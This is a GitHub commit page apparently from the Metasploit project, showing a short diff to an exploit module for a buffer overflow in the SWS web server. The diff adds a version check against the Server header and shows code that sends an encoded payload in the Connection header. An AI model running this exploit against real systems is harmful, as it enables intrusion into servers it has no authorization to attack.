Skip to content

Commit

Permalink
This check can be handy
Browse files Browse the repository at this point in the history
  • Loading branch information
sinn3r committed Jul 22, 2012
1 parent 5fd58ed commit b527356
Showing 1 changed file with 12 additions and 3 deletions.
15 changes: 12 additions & 3 deletions modules/exploits/windows/http/sws_connection_bof.rb
Original file line number Diff line number Diff line change
Expand Up @@ -62,6 +62,15 @@ module has been tested successfully on Windows 7 SP1 and Windows XP SP3.
'DefaultTarget' => 0))
end

def check
res = send_request_raw({'uri'=>'/'})
if res and res.headers['Server'] =~ /PMSoftware\-SWS\/2\.[0-2]/
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def exploit

sploit = payload.encoded
Expand All @@ -75,9 +84,9 @@ def exploit
connect

send_request_cgi({
'uri' => '/',
'version' => '1.1',
'method' => 'GET',
'uri' => '/',
'version' => '1.1',
'method' => 'GET',
'connection' => sploit
})

Expand Down

0 comments on commit b527356

Please sign in to comment.